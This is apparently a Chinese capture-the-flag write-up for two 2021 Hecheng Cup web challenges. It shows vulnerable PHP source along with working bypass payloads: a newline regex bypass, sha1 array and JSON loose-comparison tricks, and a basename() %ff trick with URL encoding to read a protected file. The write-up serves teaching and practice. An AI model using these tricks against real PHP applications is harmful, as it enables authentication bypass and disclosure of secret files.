返回

2021年鹤城杯部分Web wp

MIDDLE_MAGIC

考察点:

php tricks:%0a换行绕过正则,sha1()数组绕过, json绕过;

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
            // START FORM PROCESSING
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    if ($level_3->result == $result) {
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{

                die("no");
            }
            // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }
    }

    else{
        echo 'nonono!';
    }
    echo '<hr>';
}
?>

payload:

GET
?aaa=%0apass_the_level_1%23 //过level1

POST
admin[]=1&root_pwd[]=2 //过level2
admin[]=1&root_pwd[]=2&level_3={"result":0} //过level3

EASYPY

考察点:

basename()函数,$_SERVER[‘REQUEST_URI’]正则匹配绕过;

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hackersss :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?>

对于if ($guess === $secret)没有明显的利用点来绕过,$flag大概率就在utils.php文件中;

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

往下看,通过highlight_file结合basename可以读到我们想要的utils.php;

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}

不过有两层过滤;

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hackersss :)");
}

第一层的preg_match会检查$_SERVER['PHP_SELF']是否以utils.php/结尾,这里可以利用basename()的一个trick:

https://bugs.php.net/bug.php?id=62119

basename()会自动去掉文件名开头的非ascii字符,经测试%81%ff都可以达到这个效果,包括中文字符;

payload:

/index.php/utils.php/%ff?show_source

测试如下:

<?php
//index.php/%ffutils.php/%ff?
echo "_SERVER['PHP_SELF']:<br>";
echo $_SERVER['PHP_SELF'];  //==>/index.php/�utils.php/�
echo '<br>';
echo "_SERVER['REQUEST_URI']:<br>";
echo $_SERVER['REQUEST_URI'];  //==>/index.php/%ffutils.php/%ff?show_source
echo '<br>';
echo "basename(_SERVER['PHP_SELF']):<br>";
echo basename($_SERVER['PHP_SELF']);  //==>utils.php
?>

第二层的preg_match直接URL编码绕过;

最终payload:

/index.php/utils.php/%ff?show_%73ource

Licensed under CC BY-NC-SA 4.0